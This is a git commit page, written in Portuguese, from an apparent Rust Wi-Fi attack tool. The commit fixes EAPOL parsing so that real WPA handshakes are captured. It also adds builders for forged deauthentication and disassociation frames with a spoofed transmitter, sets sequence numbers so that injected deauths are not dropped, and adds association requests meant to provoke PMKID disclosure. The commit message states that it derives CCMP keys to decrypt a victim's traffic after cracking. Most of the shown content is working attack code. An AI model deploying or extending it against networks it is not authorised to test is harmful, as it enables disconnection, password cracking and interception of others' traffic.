fix: captura de handshake real (endianness EAPOL) e enriquece o parsing 802.11
- eapol.rs: key_info/replay_counter/key_data_len liam little-endian; são big-endian (802.1X segue ordem de rede), então handshakes reais nunca fechavam mesmo com deauth funcionando. testutil.rs e os geradores de quadro de teste corrigidos junto, mais um teste contra bytes de wire reais (não só contra o próprio encoder). - inject.rs: deauth/disassoc agora grava Sequence Control crescente por quadro — reenviar o mesmo quadro era descartado como duplicata pelo driver/AP depois do primeiro envio. - dot11.rs/scan.rs: parsing de AP/cliente bem mais completo (PMF obrigatório, WPS detalhado, fabricante por OUI, país, largura de banda, padrão PHY, privacidade) e histórico de sinal/eventos por cliente. - handshake.rs/ccmp.rs: deriva a Temporal Key (CCMP) quando a senha é quebrada, o suficiente pra decifrar o tráfego em claro do par (BSSID, estação) cujo handshake foi capturado.
This commit is contained in:
1 parent
dab86d1fa7
commit
5477b8fb03
10 files changed
+2523
-19
No files matched your search
@@ -17,13 +17,26 @@ fn radiotap_min() -> [u8; 8] {
|
||||
}
|
||||
|
||||
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||||
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
|
||||
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
|
||||
/// usado no teste bidirecional de PMF.
|
||||
fn mgmt_frame_from(
|
||||
subtype: u8,
|
||||
transmitter: [u8; 6],
|
||||
bssid: [u8; 6],
|
||||
destination: [u8; 6],
|
||||
reason: u16,
|
||||
) -> Vec<u8> {
|
||||
let fc: u16 = (subtype as u16) << 4;
|
||||
let mut f = Vec::with_capacity(8 + 24 + 2);
|
||||
f.extend_from_slice(&radiotap_min());
|
||||
f.extend_from_slice(&fc.to_le_bytes());
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&destination); // addr1: destino
|
||||
f.extend_from_slice(&bssid); // addr2: BSSID/transmissor
|
||||
f.extend_from_slice(&transmitter); // addr2: transmissor
|
||||
f.extend_from_slice(&bssid); // addr3: BSSID
|
||||
f.extend_from_slice(&[0u8; 2]); // número de sequência
|
||||
f.extend_from_slice(&reason.to_le_bytes());
|
||||
@@ -36,11 +49,129 @@ pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8
|
||||
mgmt_frame(12, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
|
||||
pub fn deauth_frame_from(
|
||||
transmitter: [u8; 6],
|
||||
bssid: [u8; 6],
|
||||
destination: [u8; 6],
|
||||
reason: u16,
|
||||
) -> Vec<u8> {
|
||||
mgmt_frame_from(12, transmitter, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Desassociação forjada com transmissor arbitrário (STA→AP).
|
||||
pub fn disassoc_frame_from(
|
||||
transmitter: [u8; 6],
|
||||
bssid: [u8; 6],
|
||||
destination: [u8; 6],
|
||||
reason: u16,
|
||||
) -> Vec<u8> {
|
||||
mgmt_frame_from(10, transmitter, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Quadro de desassociação (subtipo 10).
|
||||
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||||
mgmt_frame(10, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
|
||||
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
|
||||
const SEQ_CTRL_OFFSET: usize = 30;
|
||||
|
||||
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
|
||||
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
|
||||
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
|
||||
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
|
||||
pub fn set_seq(frame: &mut [u8], seq: u16) {
|
||||
if frame.len() < SEQ_CTRL_OFFSET + 2 {
|
||||
return;
|
||||
}
|
||||
let field = (seq & 0x0fff) << 4;
|
||||
frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8;
|
||||
frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8;
|
||||
}
|
||||
|
||||
fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut out = Vec::with_capacity(2 + value.len());
|
||||
out.push(tag);
|
||||
out.push(value.len() as u8);
|
||||
out.extend_from_slice(value);
|
||||
out
|
||||
}
|
||||
|
||||
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
|
||||
/// request no teste de PMKID.
|
||||
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
|
||||
let mut f = Vec::with_capacity(8 + 24 + 6);
|
||||
f.extend_from_slice(&radiotap_min());
|
||||
f.extend_from_slice(&0x00b0u16.to_le_bytes());
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&station);
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&[0u8; 2]);
|
||||
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
|
||||
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
|
||||
f.extend_from_slice(&0u16.to_le_bytes()); // status
|
||||
f
|
||||
}
|
||||
|
||||
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
|
||||
let mut val = Vec::new();
|
||||
val.extend_from_slice(&1u16.to_le_bytes());
|
||||
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
|
||||
val.extend_from_slice(&1u16.to_le_bytes());
|
||||
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
|
||||
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
|
||||
for akm in akms {
|
||||
val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]);
|
||||
}
|
||||
let mut caps = 0u16;
|
||||
if pmf {
|
||||
caps |= 0x0080;
|
||||
}
|
||||
if pmf_required {
|
||||
caps |= 0x0040;
|
||||
}
|
||||
val.extend_from_slice(&caps.to_le_bytes());
|
||||
val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count
|
||||
val.extend_from_slice(pmkid);
|
||||
ie(48, &val)
|
||||
}
|
||||
|
||||
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
|
||||
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
|
||||
pub fn assoc_request_frame(
|
||||
bssid: [u8; 6],
|
||||
station: [u8; 6],
|
||||
ssid: &str,
|
||||
akms: &[u8],
|
||||
pmf: bool,
|
||||
pmf_required: bool,
|
||||
pmkid: [u8; 16],
|
||||
) -> Vec<u8> {
|
||||
let mut body = Vec::new();
|
||||
body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot
|
||||
body.extend_from_slice(&10u16.to_le_bytes()); // listen interval
|
||||
body.extend_from_slice(&ie(0, ssid.as_bytes()));
|
||||
body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96]));
|
||||
body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36]));
|
||||
if !akms.is_empty() {
|
||||
body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid));
|
||||
}
|
||||
|
||||
let mut f = Vec::with_capacity(8 + 24 + body.len());
|
||||
f.extend_from_slice(&radiotap_min());
|
||||
f.extend_from_slice(&0x0000u16.to_le_bytes());
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&station);
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&[0u8; 2]);
|
||||
f.extend_from_slice(&body);
|
||||
f
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Reason {
|
||||
Unspecified = 1,
|
||||
@@ -160,4 +291,15 @@ mod tests {
|
||||
assert_eq!(&f[12..18], &BROADCAST);
|
||||
assert_eq!(f.len(), 8 + 24 + 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn set_seq_writes_sequence_number_without_touching_fragment_bits() {
|
||||
let mut f = deauth_frame(bssid(), station(), 7);
|
||||
set_seq(&mut f, 1);
|
||||
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||||
assert_eq!(seq_ctrl, 1 << 4);
|
||||
set_seq(&mut f, 0x0fff);
|
||||
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||||
assert_eq!(seq_ctrl, 0x0fff << 4);
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user